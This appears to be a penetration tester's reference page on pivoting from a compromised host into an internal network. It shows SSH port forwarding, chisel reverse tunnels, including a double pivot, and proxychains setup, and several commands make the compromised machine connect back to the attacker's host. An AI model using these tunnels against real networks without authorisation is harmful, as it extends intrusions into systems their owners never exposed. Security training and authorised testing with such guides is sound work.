Network setup
The following sections rely on this network setup.
Copy ┌──────────────┐ ┌──────────────┐ ┌──────────────┐
│ attacking │ │ compromised │ │ target │
│ machine │ │ machine │ │ machine │
│ (local) │ │ (pivot) │ │ (target) │
│ │ │ │ │ │
│ 10.10.10.2 ◄┼──public──┼► 10.10.10.5 │ │ │
│ │ │ │ │ │
│ │ │ 172.16.0.5 ◄┼──internal──┼► 172.16.0.10 │
│ │ │ │ │ │
└──────────────┘ └──────────────┘ └──────────────┘
Machine name Short name User
SSH
Common options
Forward connection (Local port forwarding)
Copy local pivot target
10.10.10.2 10.10.10.5 172.16.0.10
172.16.0.5
│ │ │
│ │ │
│ssh -L 1337:172.16.0.10:80 │ │
├──────────────────────────────►│ │
│ │ │
│nc 127.0.0.1 1337 │ │
├──────────────────────────────►│ 80 │
│ ├──────────────────►│
│ │ │
Setup a local port forward to the target.
Copy ssh -L 1337:172.16.0.10:80 victim@10.10.10.5
Execute command
Copy < cmd >
# Example
nc 127.0.0.1 1337
Reverse connection (Remote port forwarding)
Copy local pivot target
10.10.10.2 10.10.10.5 172.16.0.10
172.16.0.5
│ │ │
│ │ │
│ ssh -R 1337:172.16.0.10:80│ │
│◄──────────────────────────────┤ │
│ │ │
│nc 127.0.0.1 1337 │ │
├──────────────────────────────►│ 80 │
│ ├──────────────────►│
│ │ │
As we will connect back from the target (network) to our own machine, we need to take some precautions to ensure our safety.
Generate a new ssh key pair
Add public key to authorized_keys
with following restrictions
Copy from="<target-ip>",command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-X11-forwarding,no-pty <pub-key>
Copy sudo systemctl status ssh
Start ssh server (if not already running)
Copy sudo systemctl start ssh
Copy the private key over to the pivot
⚠️ Normally we would never give away our private key, but that's why we're using a new throwaway key pair here! ⚠️
Setup a remote port forward from the pivot.
Copy ssh -R 1337:172.16.0.10:80 me@10.10.10.2 -i throwaway-key
Execute command (example)
Socks proxy (Dynamic port forwarding)
Copy local pivot target
10.10.10.2 10.10.10.5 172.16.0.10
172.16.0.5
│ │ │
│ │ │
│ssh -D 1337 [...] │ │
├────────────────────────────────►│ │
│ │ │
│proxychains nc 172.16.0.10 any │ │
├────────────────────────────────►│ any │
│ ├──────────────────►│
│ │ │
Setup a proxy that forwards any tcp port to any target.
Copy ssh -D 1337 victim@10.10.10.5
proxychains.conf (see also below)
Copy socks5 127.0.0.1 1337
Execute command (example)
Copy proxychains nc 172.16.0.10 80
Socks proxy (reverse)
Copy local pivot target
10.10.10.2 10.10.10.5 172.16.0.10
172.16.0.5
│ │ │
│ │ │
│ ssh -R 1337 [...]│ │
│◄────────────────────────────────┤ │
│ │ │
│proxychains nc 172.16.0.10 any │ │
├────────────────────────────────►│ any │
│ ├──────────────────►│
│ │ │
Copy ssh -R 1337 me@10.10.10.2 -i throwaway-key
Chisel
A fast TCP/UDP tunnel over HTTP
GitHub - jpillora/chisel
Port forwarding
Copy ┌────────┐ ┌────────┐ ┌────────┐
│ local │ │ pivot │ │ target │
│ │ │ │ │ │
│ 9000 ◄┼──chisel───────────┼► 9000 │ │ │
│ │ │ │ │ │
│ 9001 ─┼──port-forwarding──┼────────┼───┼► 80 │
│ │ │ │ │ │
└────────┘ └────────┘ └────────┘
Copy local pivot target
10.10.10.2 10.10.10.5 172.16.0.10
172.16.0.5
│ │ │
│ │ │
│./chisel server -p 9000 -reverse │ │
├──┐ │ │
│ │ │ │
│◄─┘ │ │
│ │ │
│ ./chisel client 10.10.10.2:9000 [...]│ │
│◄───────────────────────────────────────────┤ │
│ │ │
│nc 172.16.0.10 9001 │ │
├───────────────────────────────────────────►│ 80 │
│ ├──────────────────►│
│ │ │
Start server (local)
Copy ./chisel server -p 9000 -reverse
Start client (pivot)
Copy ./chisel client 10.10.10.2:9000 R:127.0.0.1:9001:172.16.0.10:80
Execute command (example)
SOCKS proxy
Copy ┌────────┐ ┌────────┐ ┌────────┐
│ local │ │ pivot │ │ target │
│ │ │ │ │ │
│ 9000 ◄┼──chisel───────────┼► 9000 │ │ │
│ │ │ │ │ │
│ 1080 ─┼──SOCKS─proxy──────┼────────┼───┼► any │
│ │ │ │ │ │
└────────┘ └────────┘ └────────┘
Copy local pivot target
10.10.10.2 10.10.10.5 172.16.0.10
172.16.0.5
│ │ │
│ │ │
│./chisel server -p 9000 -reverse │ │
├──┐ │ │
│ │ │ │
│◄─┘ │ │
│ │ │
│ ./chisel client 10.10.10.2:9000 R:socks│ │
│◄───────────────────────────────────────────┤ │
│ │ │
│proxychains nc 172.16.0.10 any │ │
├───────────────────────────────────────────►│ any │
│ ├──────────────────►│
│ │ │
Start server (local)
Copy ./chisel server -p 9000 -reverse
Start client (pivot)
Copy ./chisel client 10.10.10.2:9000 R:socks
Note: <socks-port>
defaults to 1080, if left out.
Execute command (example)
Copy proxychains nc 172.16.0.10 80
Double pivot (via SOCKS proxies)
Copy ┌─subnet1───────────────────────────┐┌─subnet2───────────────────┐┌─subnet3───────────────┐
│ ││ ││ │
│ ┌─local──┐ ┌─pivot1─┐ ┌─pivot2─┐ ┌─target─┐ │
│ │ │ │ │ │ │ │ │ │
│ │ 9000 ◄├──chisel───────────┤► 9000 │ │ │ │ │ │
│ │ │ │ │ │ │ │ │ │
│ │ │ │ 9001 ◄├──chisel───────────┤► 9001 │ │ │ │
│ │ │ │ │ │ │ │ │ │
│ │ 1080 ─┼──SOCKS─proxy──────┼────────┼─► any │ │ │ │ │
│ │ │ │ │ │ │ │ │ │
│ │ 1081 ─┼───────────────────┼────────┼──SOCKS─proxy──────┼────────┼─► any │ │ │
│ │ │ │ │ │ │ │ │ │
│ └────────┘ └────────┘ └────────┘ └────────┘ │
│ ││ ││ │
└───────────────────────────────────┘└───────────────────────────┘└───────────────────────┘
Copy ┌─subnet1───────────────────────────────────────┐┌─subnet2───────────────────────────────────┐┌─subnet3───────────────┐
local pivot pivot2 target
10.10.10.2 10.10.10.5 172.16.0.10 172.16.1.20
172.16.0.5 172.16.1.10
│ │ │ │
│ │ │ │
│./chisel server -p 9000 -reverse │ │ │
├──┐ │ │ │
│ │ │ │ │
│◄─┘ │ │ │
│ │ │ │
│ ./chisel client 10.10.10.2:9000 R:socks│ │ │
│◄───────────────────────────────────────────┤ │ │
│ │ │ │
│ │./chisel server -p 9001 -reverse │ │
│ ├──┐ │ │
│ │ │ │ │
│ │◄─┘ │ │
│ │ │ │
│ │ ./chisel client 172.16.0.5:9001 R:socks│ │
│ │◄───────────────────────────────────────────┤ │
│ │ │ │
│ │ │ │
│ │ │ │
│proxychains nc <target-ip> any │ │ │
├───────────────────────────────────────────►│ any │ │
│ ├───────────────────────────────────────────►│ any │
│ │ ├──────────────────►│
│ │ │ │
Start server (local)
Copy ./chisel server -p 9000 -reverse
Start client (pivot1)
Copy ./chisel client 10.10.10.2:9000 R:socks
Start another server (pivot1)
Copy ./chisel server -p 9001 -reverse
Start another client (pivot2)
Copy ./chisel client 172.16.0.5:9001 R:socks
Add another proxy to proxychains.conf
(more details on proxychains, see below)
Copy socks5 127.0.0.1 1080
socks5 127.0.0.1 1081
Execute command (example)
Copy proxychains nc 172.16.1.20 80
Verify
E.g.
Copy [...]
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN 50883/ssh
tcp6 0 0 ::1:1337 :::* LISTEN 50883/ssh
[...]
proxychains
A tool that forces any TCP connection made by any given application to follow through proxy like TOR or any other SOCKS4, SOCKS5 or HTTP(S) proxy.
GitHub - haad/proxychains: proxychains
Config file
Proxychains looks for configuration in the following order:
~/.proxychains/proxychains.conf
Copy socks5 127.0.0.1 1080
Run command via proxychains
Burp Suite
To use Burp Suite in this setup, just configure the socks proxy there.
Project options
or User options
→ SOCKS Proxy
→ ☑️ Use SOCKS Proxy
SOCKS proxy host:
127.0.0.1
⚠️ Keep your browser pointing to Burp Suites' proxy as usual! ⚠️
Foxy Proxy
See Firefox extensions